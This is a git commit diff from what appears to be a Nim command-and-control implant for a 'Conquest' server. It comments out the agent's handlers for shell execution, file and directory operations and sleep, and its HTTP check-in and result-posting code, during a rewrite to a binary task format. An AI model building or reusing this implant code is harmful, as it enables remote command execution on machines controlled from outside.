Started rewriting JSON task to custom binary structure. Parsed and serialized task object into seq[byte]
This commit is contained in:
@@ -1,3 +1,3 @@
|
||||
import ./[shell, sleep, filesystem]
|
||||
# import ./[shell, sleep, filesystem]
|
||||
|
||||
export shell, sleep, filesystem
|
||||
# export shell, sleep, filesystem
|
||||
@@ -1,332 +1,332 @@
|
||||
import os, strutils, strformat, base64, winim, times, algorithm, json
|
||||
# import os, strutils, strformat, base64, winim, times, algorithm, json
|
||||
|
||||
import ../types
|
||||
# import ../common/types
|
||||
|
||||
# Retrieve current working directory
|
||||
proc taskPwd*(task: Task): TaskResult =
|
||||
# # Retrieve current working directory
|
||||
# proc taskPwd*(task: Task): TaskResult =
|
||||
|
||||
echo fmt"Retrieving current working directory."
|
||||
# echo fmt"Retrieving current working directory."
|
||||
|
||||
try:
|
||||
# try:
|
||||
|
||||
# Get current working directory using GetCurrentDirectory
|
||||
let
|
||||
buffer = newWString(MAX_PATH + 1)
|
||||
length = GetCurrentDirectoryW(MAX_PATH, &buffer)
|
||||
# # Get current working directory using GetCurrentDirectory
|
||||
# let
|
||||
# buffer = newWString(MAX_PATH + 1)
|
||||
# length = GetCurrentDirectoryW(MAX_PATH, &buffer)
|
||||
|
||||
if length == 0:
|
||||
raise newException(OSError, fmt"Failed to get working directory ({GetLastError()}).")
|
||||
# if length == 0:
|
||||
# raise newException(OSError, fmt"Failed to get working directory ({GetLastError()}).")
|
||||
|
||||
return TaskResult(
|
||||
task: task.id,
|
||||
agent: task.agent,
|
||||
data: encode($buffer[0 ..< (int)length] & "\n"),
|
||||
status: Completed
|
||||
)
|
||||
# return TaskResult(
|
||||
# task: task.id,
|
||||
# agent: task.agent,
|
||||
# data: encode($buffer[0 ..< (int)length] & "\n"),
|
||||
# status: Completed
|
||||
# )
|
||||
|
||||
except CatchableError as err:
|
||||
return TaskResult(
|
||||
task: task.id,
|
||||
agent: task.agent,
|
||||
data: encode(fmt"An error occured: {err.msg}" & "\n"),
|
||||
status: Failed
|
||||
)
|
||||
# except CatchableError as err:
|
||||
# return TaskResult(
|
||||
# task: task.id,
|
||||
# agent: task.agent,
|
||||
# data: encode(fmt"An error occured: {err.msg}" & "\n"),
|
||||
# status: Failed
|
||||
# )
|
||||
|
||||
# Change working directory
|
||||
proc taskCd*(task: Task): TaskResult =
|
||||
# # Change working directory
|
||||
# proc taskCd*(task: Task): TaskResult =
|
||||
|
||||
# Parse arguments
|
||||
let targetDirectory = parseJson(task.args)["directory"].getStr()
|
||||
# # Parse arguments
|
||||
# let targetDirectory = parseJson(task.args)["directory"].getStr()
|
||||
|
||||
echo fmt"Changing current working directory to {targetDirectory}."
|
||||
# echo fmt"Changing current working directory to {targetDirectory}."
|
||||
|
||||
try:
|
||||
# Get current working directory using GetCurrentDirectory
|
||||
if SetCurrentDirectoryW(targetDirectory) == FALSE:
|
||||
raise newException(OSError, fmt"Failed to change working directory ({GetLastError()}).")
|
||||
# try:
|
||||
# # Get current working directory using GetCurrentDirectory
|
||||
# if SetCurrentDirectoryW(targetDirectory) == FALSE:
|
||||
# raise newException(OSError, fmt"Failed to change working directory ({GetLastError()}).")
|
||||
|
||||
return TaskResult(
|
||||
task: task.id,
|
||||
agent: task.agent,
|
||||
data: encode(""),
|
||||
status: Completed
|
||||
)
|
||||
# return TaskResult(
|
||||
# task: task.id,
|
||||
# agent: task.agent,
|
||||
# data: encode(""),
|
||||
# status: Completed
|
||||
# )
|
||||
|
||||
except CatchableError as err:
|
||||
return TaskResult(
|
||||
task: task.id,
|
||||
agent: task.agent,
|
||||
data: encode(fmt"An error occured: {err.msg}" & "\n"),
|
||||
status: Failed
|
||||
)
|
||||
# except CatchableError as err:
|
||||
# return TaskResult(
|
||||
# task: task.id,
|
||||
# agent: task.agent,
|
||||
# data: encode(fmt"An error occured: {err.msg}" & "\n"),
|
||||
# status: Failed
|
||||
# )
|
||||
|
||||
# List files and directories at a specific or at the current path
|
||||
proc taskDir*(task: Task): TaskResult =
|
||||
# # List files and directories at a specific or at the current path
|
||||
# proc taskDir*(task: Task): TaskResult =
|
||||
|
||||
# Parse arguments
|
||||
var targetDirectory = parseJson(task.args)["directory"].getStr()
|
||||
# # Parse arguments
|
||||
# var targetDirectory = parseJson(task.args)["directory"].getStr()
|
||||
|
||||
echo fmt"Listing files and directories."
|
||||
# echo fmt"Listing files and directories."
|
||||
|
||||
try:
|
||||
# Check if users wants to list files in the current working directory or at another path
|
||||
# try:
|
||||
# # Check if users wants to list files in the current working directory or at another path
|
||||
|
||||
if targetDirectory == "":
|
||||
# Get current working directory using GetCurrentDirectory
|
||||
let
|
||||
cwdBuffer = newWString(MAX_PATH + 1)
|
||||
cwdLength = GetCurrentDirectoryW(MAX_PATH, &cwdBuffer)
|
||||
# if targetDirectory == "":
|
||||
# # Get current working directory using GetCurrentDirectory
|
||||
# let
|
||||
# cwdBuffer = newWString(MAX_PATH + 1)
|
||||
# cwdLength = GetCurrentDirectoryW(MAX_PATH, &cwdBuffer)
|
||||
|
||||
if cwdLength == 0:
|
||||
raise newException(OSError, fmt"Failed to get working directory ({GetLastError()}).")
|
||||
# if cwdLength == 0:
|
||||
# raise newException(OSError, fmt"Failed to get working directory ({GetLastError()}).")
|
||||
|
||||
targetDirectory = $cwdBuffer[0 ..< (int)cwdLength]
|
||||
# targetDirectory = $cwdBuffer[0 ..< (int)cwdLength]
|
||||
|
||||
# Prepare search pattern (target directory + \*)
|
||||
let searchPattern = targetDirectory & "\\*"
|
||||
let searchPatternW = newWString(searchPattern)
|
||||
# # Prepare search pattern (target directory + \*)
|
||||
# let searchPattern = targetDirectory & "\\*"
|
||||
# let searchPatternW = newWString(searchPattern)
|
||||
|
||||
var
|
||||
findData: WIN32_FIND_DATAW
|
||||
hFind: HANDLE
|
||||
output = ""
|
||||
entries: seq[string] = @[]
|
||||
totalFiles = 0
|
||||
totalDirs = 0
|
||||
# var
|
||||
# findData: WIN32_FIND_DATAW
|
||||
# hFind: HANDLE
|
||||
# output = ""
|
||||
# entries: seq[string] = @[]
|
||||
# totalFiles = 0
|
||||
# totalDirs = 0
|
||||
|
||||
# Find files and directories in target directory
|
||||
hFind = FindFirstFileW(searchPatternW, &findData)
|
||||
# # Find files and directories in target directory
|
||||
# hFind = FindFirstFileW(searchPatternW, &findData)
|
||||
|
||||
if hFind == INVALID_HANDLE_VALUE:
|
||||
raise newException(OSError, fmt"Failed to find files ({GetLastError()}).")
|
||||
# if hFind == INVALID_HANDLE_VALUE:
|
||||
# raise newException(OSError, fmt"Failed to find files ({GetLastError()}).")
|
||||
|
||||
# Directory was found and can be listed
|
||||
else:
|
||||
output = fmt"Directory: {targetDirectory}" & "\n\n"
|
||||
output &= "Mode LastWriteTime Length Name" & "\n"
|
||||
output &= "---- ------------- ------ ----" & "\n"
|
||||
# # Directory was found and can be listed
|
||||
# else:
|
||||
# output = fmt"Directory: {targetDirectory}" & "\n\n"
|
||||
# output &= "Mode LastWriteTime Length Name" & "\n"
|
||||
# output &= "---- ------------- ------ ----" & "\n"
|
||||
|
||||
# Process all files and directories
|
||||
while true:
|
||||
let fileName = $cast[WideCString](addr findData.cFileName[0])
|
||||
# # Process all files and directories
|
||||
# while true:
|
||||
# let fileName = $cast[WideCString](addr findData.cFileName[0])
|
||||
|
||||
# Skip current and parent directory entries
|
||||
if fileName != "." and fileName != "..":
|
||||
# Get file attributes and size
|
||||
let isDir = (findData.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) != 0
|
||||
let isHidden = (findData.dwFileAttributes and FILE_ATTRIBUTE_HIDDEN) != 0
|
||||
let isReadOnly = (findData.dwFileAttributes and FILE_ATTRIBUTE_READONLY) != 0
|
||||
let isArchive = (findData.dwFileAttributes and FILE_ATTRIBUTE_ARCHIVE) != 0
|
||||
let fileSize = (int64(findData.nFileSizeHigh) shl 32) or int64(findData.nFileSizeLow)
|
||||
# # Skip current and parent directory entries
|
||||
# if fileName != "." and fileName != "..":
|
||||
# # Get file attributes and size
|
||||
# let isDir = (findData.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) != 0
|
||||
# let isHidden = (findData.dwFileAttributes and FILE_ATTRIBUTE_HIDDEN) != 0
|
||||
# let isReadOnly = (findData.dwFileAttributes and FILE_ATTRIBUTE_READONLY) != 0
|
||||
# let isArchive = (findData.dwFileAttributes and FILE_ATTRIBUTE_ARCHIVE) != 0
|
||||
# let fileSize = (int64(findData.nFileSizeHigh) shl 32) or int64(findData.nFileSizeLow)
|
||||
|
||||
# Handle flags
|
||||
var mode = ""
|
||||
if isDir:
|
||||
mode = "d"
|
||||
inc totalDirs
|
||||
else:
|
||||
mode = "-"
|
||||
inc totalFiles
|
||||
# # Handle flags
|
||||
# var mode = ""
|
||||
# if isDir:
|
||||
# mode = "d"
|
||||
# inc totalDirs
|
||||
# else:
|
||||
# mode = "-"
|
||||
# inc totalFiles
|
||||
|
||||
if isArchive:
|
||||
mode &= "a"
|
||||
else:
|
||||
mode &= "-"
|
||||
# if isArchive:
|
||||
# mode &= "a"
|
||||
# else:
|
||||
# mode &= "-"
|
||||
|
||||
if isReadOnly:
|
||||
mode &= "r"
|
||||
else:
|
||||
mode &= "-"
|
||||
# if isReadOnly:
|
||||
# mode &= "r"
|
||||
# else:
|
||||
# mode &= "-"
|
||||
|
||||
if isHidden:
|
||||
mode &= "h"
|
||||
else:
|
||||
mode &= "-"
|
||||
# if isHidden:
|
||||
# mode &= "h"
|
||||
# else:
|
||||
# mode &= "-"
|
||||
|
||||
if (findData.dwFileAttributes and FILE_ATTRIBUTE_SYSTEM) != 0:
|
||||
mode &= "s"
|
||||
else:
|
||||
mode &= "-"
|
||||
# if (findData.dwFileAttributes and FILE_ATTRIBUTE_SYSTEM) != 0:
|
||||
# mode &= "s"
|
||||
# else:
|
||||
# mode &= "-"
|
||||
|
||||
# Convert FILETIME to local time and format
|
||||
var
|
||||
localTime: FILETIME
|
||||
systemTime: SYSTEMTIME
|
||||
dateTimeStr = "01/01/1970 00:00:00"
|
||||
# # Convert FILETIME to local time and format
|
||||
# var
|
||||
# localTime: FILETIME
|
||||
# systemTime: SYSTEMTIME
|
||||
# dateTimeStr = "01/01/1970 00:00:00"
|
||||
|
||||
if FileTimeToLocalFileTime(&findData.ftLastWriteTime, &localTime) != 0 and FileTimeToSystemTime(&localTime, &systemTime) != 0:
|
||||
# Format date and time in PowerShell style
|
||||
dateTimeStr = fmt"{systemTime.wDay:02d}/{systemTime.wMonth:02d}/{systemTime.wYear} {systemTime.wHour:02d}:{systemTime.wMinute:02d}:{systemTime.wSecond:02d}"
|
||||
# if FileTimeToLocalFileTime(&findData.ftLastWriteTime, &localTime) != 0 and FileTimeToSystemTime(&localTime, &systemTime) != 0:
|
||||
# # Format date and time in PowerShell style
|
||||
# dateTimeStr = fmt"{systemTime.wDay:02d}/{systemTime.wMonth:02d}/{systemTime.wYear} {systemTime.wHour:02d}:{systemTime.wMinute:02d}:{systemTime.wSecond:02d}"
|
||||
|
||||
# Format file size
|
||||
var sizeStr = ""
|
||||
if isDir:
|
||||
sizeStr = "<DIR>"
|
||||
else:
|
||||
sizeStr = ($fileSize).replace("-", "")
|
||||
# # Format file size
|
||||
# var sizeStr = ""
|
||||
# if isDir:
|
||||
# sizeStr = "<DIR>"
|
||||
# else:
|
||||
# sizeStr = ($fileSize).replace("-", "")
|
||||
|
||||
# Build the entry line
|
||||
let entryLine = fmt"{mode:<7} {dateTimeStr:<20} {sizeStr:>10} {fileName}"
|
||||
entries.add(entryLine)
|
||||
# # Build the entry line
|
||||
# let entryLine = fmt"{mode:<7} {dateTimeStr:<20} {sizeStr:>10} {fileName}"
|
||||
# entries.add(entryLine)
|
||||
|
||||
# Find next file
|
||||
if FindNextFileW(hFind, &findData) == 0:
|
||||
break
|
||||
# # Find next file
|
||||
# if FindNextFileW(hFind, &findData) == 0:
|
||||
# break
|
||||
|
||||
# Close find handle
|
||||
discard FindClose(hFind)
|
||||
# # Close find handle
|
||||
# discard FindClose(hFind)
|
||||
|
||||
# Add entries to output after sorting them (directories first, files afterwards)
|
||||
entries.sort do (a, b: string) -> int:
|
||||
let aIsDir = a[0] == 'd'
|
||||
let bIsDir = b[0] == 'd'
|
||||
# # Add entries to output after sorting them (directories first, files afterwards)
|
||||
# entries.sort do (a, b: string) -> int:
|
||||
# let aIsDir = a[0] == 'd'
|
||||
# let bIsDir = b[0] == 'd'
|
||||
|
||||
if aIsDir and not bIsDir:
|
||||
return -1
|
||||
elif not aIsDir and bIsDir:
|
||||
return 1
|
||||
else:
|
||||
# Extract filename for comparison (last part after the last space)
|
||||
let aParts = a.split(" ")
|
||||
let bParts = b.split(" ")
|
||||
let aName = aParts[^1]
|
||||
let bName = bParts[^1]
|
||||
return cmp(aName.toLowerAscii(), bName.toLowerAscii())
|
||||
# if aIsDir and not bIsDir:
|
||||
# return -1
|
||||
# elif not aIsDir and bIsDir:
|
||||
# return 1
|
||||
# else:
|
||||
# # Extract filename for comparison (last part after the last space)
|
||||
# let aParts = a.split(" ")
|
||||
# let bParts = b.split(" ")
|
||||
# let aName = aParts[^1]
|
||||
# let bName = bParts[^1]
|
||||
# return cmp(aName.toLowerAscii(), bName.toLowerAscii())
|
||||
|
||||
for entry in entries:
|
||||
output &= entry & "\n"
|
||||
# for entry in entries:
|
||||
# output &= entry & "\n"
|
||||
|
||||
# Add summary of how many files/directories have been found
|
||||
output &= "\n" & fmt"{totalFiles} file(s)" & "\n"
|
||||
output &= fmt"{totalDirs} dir(s)" & "\n"
|
||||
# # Add summary of how many files/directories have been found
|
||||
# output &= "\n" & fmt"{totalFiles} file(s)" & "\n"
|
||||
# output &= fmt"{totalDirs} dir(s)" & "\n"
|
||||
|
||||
return TaskResult(
|
||||
task: task.id,
|
||||
agent: task.agent,
|
||||
data: encode(output),
|
||||
status: Completed
|
||||
)
|
||||
# return TaskResult(
|
||||
# task: task.id,
|
||||
# agent: task.agent,
|
||||
# data: encode(output),
|
||||
# status: Completed
|
||||
# )
|
||||
|
||||
except CatchableError as err:
|
||||
return TaskResult(
|
||||
task: task.id,
|
||||
agent: task.agent,
|
||||
data: encode(fmt"An error occured: {err.msg}" & "\n"),
|
||||
status: Failed
|
||||
)
|
||||
# except CatchableError as err:
|
||||
# return TaskResult(
|
||||
# task: task.id,
|
||||
# agent: task.agent,
|
||||
# data: encode(fmt"An error occured: {err.msg}" & "\n"),
|
||||
# status: Failed
|
||||
# )
|
||||
|
||||
# Remove file
|
||||
proc taskRm*(task: Task): TaskResult =
|
||||
# # Remove file
|
||||
# proc taskRm*(task: Task): TaskResult =
|
||||
|
||||
# Parse arguments
|
||||
let target = parseJson(task.args)["file"].getStr()
|
||||
# # Parse arguments
|
||||
# let target = parseJson(task.args)["file"].getStr()
|
||||
|
||||
echo fmt"Deleting file {target}."
|
||||
# echo fmt"Deleting file {target}."
|
||||
|
||||
try:
|
||||
if DeleteFile(target) == FALSE:
|
||||
raise newException(OSError, fmt"Failed to delete file ({GetLastError()}).")
|
||||
# try:
|
||||
# if DeleteFile(target) == FALSE:
|
||||
# raise newException(OSError, fmt"Failed to delete file ({GetLastError()}).")
|
||||
|
||||
return TaskResult(
|
||||
task: task.id,
|
||||
agent: task.agent,
|
||||
data: encode(""),
|
||||
status: Completed
|
||||
)
|
||||
# return TaskResult(
|
||||
# task: task.id,
|
||||
# agent: task.agent,
|
||||
# data: encode(""),
|
||||
# status: Completed
|
||||
# )
|
||||
|
||||
except CatchableError as err:
|
||||
return TaskResult(
|
||||
task: task.id,
|
||||
agent: task.agent,
|
||||
data: encode(fmt"An error occured: {err.msg}" & "\n"),
|
||||
status: Failed
|
||||
)
|
||||
# except CatchableError as err:
|
||||
# return TaskResult(
|
||||
# task: task.id,
|
||||
# agent: task.agent,
|
||||
# data: encode(fmt"An error occured: {err.msg}" & "\n"),
|
||||
# status: Failed
|
||||
# )
|
||||
|
||||
# Remove directory
|
||||
proc taskRmdir*(task: Task): TaskResult =
|
||||
# # Remove directory
|
||||
# proc taskRmdir*(task: Task): TaskResult =
|
||||
|
||||
# Parse arguments
|
||||
let target = parseJson(task.args)["directory"].getStr()
|
||||
# # Parse arguments
|
||||
# let target = parseJson(task.args)["directory"].getStr()
|
||||
|
||||
echo fmt"Deleting directory {target}."
|
||||
# echo fmt"Deleting directory {target}."
|
||||
|
||||
try:
|
||||
if RemoveDirectoryA(target) == FALSE:
|
||||
raise newException(OSError, fmt"Failed to delete directory ({GetLastError()}).")
|
||||
# try:
|
||||
# if RemoveDirectoryA(target) == FALSE:
|
||||
# raise newException(OSError, fmt"Failed to delete directory ({GetLastError()}).")
|
||||
|
||||
return TaskResult(
|
||||
task: task.id,
|
||||
agent: task.agent,
|
||||
data: encode(""),
|
||||
status: Completed
|
||||
)
|
||||
# return TaskResult(
|
||||
# task: task.id,
|
||||
# agent: task.agent,
|
||||
# data: encode(""),
|
||||
# status: Completed
|
||||
# )
|
||||
|
||||
except CatchableError as err:
|
||||
return TaskResult(
|
||||
task: task.id,
|
||||
agent: task.agent,
|
||||
data: encode(fmt"An error occured: {err.msg}" & "\n"),
|
||||
status: Failed
|
||||
)
|
||||
# except CatchableError as err:
|
||||
# return TaskResult(
|
||||
# task: task.id,
|
||||
# agent: task.agent,
|
||||
# data: encode(fmt"An error occured: {err.msg}" & "\n"),
|
||||
# status: Failed
|
||||
# )
|
||||
|
||||
# Move file or directory
|
||||
proc taskMove*(task: Task): TaskResult =
|
||||
# # Move file or directory
|
||||
# proc taskMove*(task: Task): TaskResult =
|
||||
|
||||
# Parse arguments
|
||||
echo task.args
|
||||
let
|
||||
params = parseJson(task.args)
|
||||
lpExistingFileName = params["from"].getStr()
|
||||
lpNewFileName = params["to"].getStr()
|
||||
# # Parse arguments
|
||||
# echo task.args
|
||||
# let
|
||||
# params = parseJson(task.args)
|
||||
# lpExistingFileName = params["from"].getStr()
|
||||
# lpNewFileName = params["to"].getStr()
|
||||
|
||||
echo fmt"Moving {lpExistingFileName} to {lpNewFileName}."
|
||||
# echo fmt"Moving {lpExistingFileName} to {lpNewFileName}."
|
||||
|
||||
try:
|
||||
if MoveFile(lpExistingFileName, lpNewFileName) == FALSE:
|
||||
raise newException(OSError, fmt"Failed to move file or directory ({GetLastError()}).")
|
||||
# try:
|
||||
# if MoveFile(lpExistingFileName, lpNewFileName) == FALSE:
|
||||
# raise newException(OSError, fmt"Failed to move file or directory ({GetLastError()}).")
|
||||
|
||||
return TaskResult(
|
||||
task: task.id,
|
||||
agent: task.agent,
|
||||
data: encode(""),
|
||||
status: Completed
|
||||
)
|
||||
# return TaskResult(
|
||||
# task: task.id,
|
||||
# agent: task.agent,
|
||||
# data: encode(""),
|
||||
# status: Completed
|
||||
# )
|
||||
|
||||
except CatchableError as err:
|
||||
return TaskResult(
|
||||
task: task.id,
|
||||
agent: task.agent,
|
||||
data: encode(fmt"An error occured: {err.msg}" & "\n"),
|
||||
status: Failed
|
||||
)
|
||||
# except CatchableError as err:
|
||||
# return TaskResult(
|
||||
# task: task.id,
|
||||
# agent: task.agent,
|
||||
# data: encode(fmt"An error occured: {err.msg}" & "\n"),
|
||||
# status: Failed
|
||||
# )
|
||||
|
||||
# Copy file or directory
|
||||
proc taskCopy*(task: Task): TaskResult =
|
||||
# # Copy file or directory
|
||||
# proc taskCopy*(task: Task): TaskResult =
|
||||
|
||||
# Parse arguments
|
||||
let
|
||||
params = parseJson(task.args)
|
||||
lpExistingFileName = params["from"].getStr()
|
||||
lpNewFileName = params["to"].getStr()
|
||||
# # Parse arguments
|
||||
# let
|
||||
# params = parseJson(task.args)
|
||||
# lpExistingFileName = params["from"].getStr()
|
||||
# lpNewFileName = params["to"].getStr()
|
||||
|
||||
echo fmt"Copying {lpExistingFileName} to {lpNewFileName}."
|
||||
# echo fmt"Copying {lpExistingFileName} to {lpNewFileName}."
|
||||
|
||||
try:
|
||||
# Copy file to new location, overwrite if a file with the same name already exists
|
||||
if CopyFile(lpExistingFileName, lpNewFileName, FALSE) == FALSE:
|
||||
raise newException(OSError, fmt"Failed to copy file or directory ({GetLastError()}).")
|
||||
# try:
|
||||
# # Copy file to new location, overwrite if a file with the same name already exists
|
||||
# if CopyFile(lpExistingFileName, lpNewFileName, FALSE) == FALSE:
|
||||
# raise newException(OSError, fmt"Failed to copy file or directory ({GetLastError()}).")
|
||||
|
||||
return TaskResult(
|
||||
task: task.id,
|
||||
agent: task.agent,
|
||||
data: encode(""),
|
||||
status: Completed
|
||||
)
|
||||
# return TaskResult(
|
||||
# task: task.id,
|
||||
# agent: task.agent,
|
||||
# data: encode(""),
|
||||
# status: Completed
|
||||
# )
|
||||
|
||||
except CatchableError as err:
|
||||
return TaskResult(
|
||||
task: task.id,
|
||||
agent: task.agent,
|
||||
data: encode(fmt"An error occured: {err.msg}" & "\n"),
|
||||
status: Failed
|
||||
)
|
||||
# except CatchableError as err:
|
||||
# return TaskResult(
|
||||
# task: task.id,
|
||||
# agent: task.agent,
|
||||
# data: encode(fmt"An error occured: {err.msg}" & "\n"),
|
||||
# status: Failed
|
||||
# )
|
||||
@@ -1,30 +1,30 @@
|
||||
import winim, osproc, strutils, strformat, base64, json
|
||||
|
||||
import ../types
|
||||
import ../common/types
|
||||
|
||||
proc taskShell*(task: Task): TaskResult =
|
||||
|
||||
# Parse arguments JSON string to obtain specific values
|
||||
let
|
||||
params = parseJson(task.args)
|
||||
command = params["command"].getStr()
|
||||
arguments = params["arguments"].getStr()
|
||||
# # Parse arguments JSON string to obtain specific values
|
||||
# let
|
||||
# params = parseJson(task.args)
|
||||
# command = params["command"].getStr()
|
||||
# arguments = params["arguments"].getStr()
|
||||
|
||||
echo fmt"Executing command {command} with arguments {arguments}"
|
||||
# echo fmt"Executing command {command} with arguments {arguments}"
|
||||
|
||||
try:
|
||||
let (output, status) = execCmdEx(fmt("{command} {arguments}"))
|
||||
return TaskResult(
|
||||
task: task.id,
|
||||
agent: task.agent,
|
||||
data: encode(output),
|
||||
status: Completed
|
||||
)
|
||||
# try:
|
||||
# let (output, status) = execCmdEx(fmt("{command} {arguments}"))
|
||||
# return TaskResult(
|
||||
# task: task.id,
|
||||
# agent: task.agent,
|
||||
# data: encode(output),
|
||||
# status: Completed
|
||||
# )
|
||||
|
||||
except CatchableError as err:
|
||||
return TaskResult(
|
||||
task: task.id,
|
||||
agent: task.agent,
|
||||
data: encode(fmt"An error occured: {err.msg}" & "\n"),
|
||||
status: Failed
|
||||
)
|
||||
# except CatchableError as err:
|
||||
# return TaskResult(
|
||||
# task: task.id,
|
||||
# agent: task.agent,
|
||||
# data: encode(fmt"An error occured: {err.msg}" & "\n"),
|
||||
# status: Failed
|
||||
# )
|
||||
|
||||
@@ -1,27 +1,27 @@
|
||||
import os, strutils, strformat, base64, json
|
||||
# import os, strutils, strformat, base64, json
|
||||
|
||||
import ../types
|
||||
# import ../common/types
|
||||
|
||||
proc taskSleep*(task: Task): TaskResult =
|
||||
# proc taskSleep*(task: Task): TaskResult =
|
||||
|
||||
# Parse task parameter
|
||||
let delay = parseJson(task.args)["delay"].getInt()
|
||||
# # Parse task parameter
|
||||
# let delay = parseJson(task.args)["delay"].getInt()
|
||||
|
||||
echo fmt"Sleeping for {delay} seconds."
|
||||
# echo fmt"Sleeping for {delay} seconds."
|
||||
|
||||
try:
|
||||
sleep(delay * 1000)
|
||||
return TaskResult(
|
||||
task: task.id,
|
||||
agent: task.agent,
|
||||
data: encode(""),
|
||||
status: Completed
|
||||
)
|
||||
# try:
|
||||
# sleep(delay * 1000)
|
||||
# return TaskResult(
|
||||
# task: task.id,
|
||||
# agent: task.agent,
|
||||
# data: encode(""),
|
||||
# status: Completed
|
||||
# )
|
||||
|
||||
except CatchableError as err:
|
||||
return TaskResult(
|
||||
task: task.id,
|
||||
agent: task.agent,
|
||||
data: encode(fmt"An error occured: {err.msg}" & "\n"),
|
||||
status: Failed
|
||||
)
|
||||
# except CatchableError as err:
|
||||
# return TaskResult(
|
||||
# task: task.id,
|
||||
# agent: task.agent,
|
||||
# data: encode(fmt"An error occured: {err.msg}" & "\n"),
|
||||
# status: Failed
|
||||
# )
|
||||
@@ -34,41 +34,41 @@ proc register*(config: AgentConfig): string =
|
||||
|
||||
proc getTasks*(config: AgentConfig, agent: string): seq[Task] =
|
||||
|
||||
let client = newAsyncHttpClient()
|
||||
var responseBody = ""
|
||||
# let client = newAsyncHttpClient()
|
||||
# var responseBody = ""
|
||||
|
||||
try:
|
||||
# Register agent to the Conquest server
|
||||
responseBody = waitFor client.getContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/{agent}/tasks")
|
||||
return parseJson(responseBody).to(seq[Task])
|
||||
# try:
|
||||
# # Register agent to the Conquest server
|
||||
# responseBody = waitFor client.getContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/{agent}/tasks")
|
||||
# return parseJson(responseBody).to(seq[Task])
|
||||
|
||||
except CatchableError as err:
|
||||
# When the listener is not reachable, don't kill the application, but check in at the next time
|
||||
echo "[-] [getTasks]: ", responseBody
|
||||
finally:
|
||||
client.close()
|
||||
# except CatchableError as err:
|
||||
# # When the listener is not reachable, don't kill the application, but check in at the next time
|
||||
# echo "[-] [getTasks]: ", responseBody
|
||||
# finally:
|
||||
# client.close()
|
||||
|
||||
return @[]
|
||||
|
||||
proc postResults*(config: AgentConfig, agent: string, taskResult: TaskResult): bool =
|
||||
|
||||
let client = newAsyncHttpClient()
|
||||
# let client = newAsyncHttpClient()
|
||||
|
||||
# Define headers
|
||||
client.headers = newHttpHeaders({ "Content-Type": "application/json" })
|
||||
# # Define headers
|
||||
# client.headers = newHttpHeaders({ "Content-Type": "application/json" })
|
||||
|
||||
let taskJson = %taskResult
|
||||
# let taskJson = %taskResult
|
||||
|
||||
echo $taskJson
|
||||
# echo $taskJson
|
||||
|
||||
try:
|
||||
# Register agent to the Conquest server
|
||||
discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/{agent}/{taskResult.task}/results", $taskJson)
|
||||
except CatchableError as err:
|
||||
# When the listener is not reachable, don't kill the application, but check in at the next time
|
||||
echo "[-] [postResults]: ", err.msg
|
||||
return false
|
||||
finally:
|
||||
client.close()
|
||||
# try:
|
||||
# # Register agent to the Conquest server
|
||||
# discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/{agent}/{taskResult.task}/results", $taskJson)
|
||||
# except CatchableError as err:
|
||||
# # When the listener is not reachable, don't kill the application, but check in at the next time
|
||||
# echo "[-] [postResults]: ", err.msg
|
||||
# return false
|
||||
# finally:
|
||||
# client.close()
|
||||
|
||||
return true
|
||||
@@ -5,4 +5,4 @@
|
||||
-d:Octet3="0"
|
||||
-d:Octet4="1"
|
||||
-d:ListenerPort=9999
|
||||
-d:SleepDelay=10
|
||||
-d:SleepDelay=1
|
||||
|
||||
@@ -1,34 +1,35 @@
|
||||
import strutils, tables, json
|
||||
import ./types
|
||||
import ./common/types
|
||||
import ./commands/commands
|
||||
|
||||
proc handleTask*(task: Task, config: AgentConfig): TaskResult =
|
||||
|
||||
var taskResult: TaskResult
|
||||
|
||||
let handlers = {
|
||||
ExecuteShell: taskShell,
|
||||
Sleep: taskSleep,
|
||||
GetWorkingDirectory: taskPwd,
|
||||
SetWorkingDirectory: taskCd,
|
||||
ListDirectory: taskDir,
|
||||
RemoveFile: taskRm,
|
||||
RemoveDirectory: taskRmdir,
|
||||
Move: taskMove,
|
||||
Copy: taskCopy
|
||||
}.toTable
|
||||
# let handlers = {
|
||||
# CMD_SLEEP: taskSleep,
|
||||
# CMD_SHELL: taskShell,
|
||||
# CMD_PWD: taskPwd,
|
||||
# CMD_CD: taskCd,
|
||||
# CMD_LS: taskDir,
|
||||
# CMD_RM: taskRm,
|
||||
# CMD_RMDIR: taskRmdir,
|
||||
# CMD_MOVE: taskMove,
|
||||
# CMD_COPY: taskCopy
|
||||
# }.toTable
|
||||
|
||||
# Handle task command
|
||||
taskResult = handlers[task.command](task)
|
||||
echo taskResult.data
|
||||
# taskResult = handlers[task.command](task)
|
||||
# echo taskResult.data
|
||||
|
||||
# Handle actions on specific commands
|
||||
case task.command:
|
||||
of Sleep:
|
||||
if taskResult.status == Completed:
|
||||
config.sleep = parseJson(task.args)["delay"].getInt()
|
||||
else:
|
||||
discard
|
||||
# case task.command:
|
||||
# of CMD_SLEEP:
|
||||
# if taskResult.status == STATUS_COMPLETED:
|
||||
# # config.sleep = parseJson(task.args)["delay"].getInt()
|
||||
# discard
|
||||
# else:
|
||||
# discard
|
||||
|
||||
# Return the result
|
||||
return taskResult
|
||||
# # Return the result
|
||||
# return taskResult
|
||||
@@ -1,6 +1,6 @@
|
||||
import winim
|
||||
import ../../types
|
||||
export Task, CommandType, TaskResult, TaskStatus
|
||||
import ../../common/types
|
||||
export Task, CommandType, TaskResult, StatusType
|
||||
|
||||
type
|
||||
ProductType* = enum
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
import strformat
|
||||
import ./types
|
||||
import ./common/types
|
||||
|
||||
proc getWindowsVersion*(info: OSVersionInfoExW, productType: ProductType): string =
|
||||
let
|
||||
|
||||
Reference in New Issue
Block a user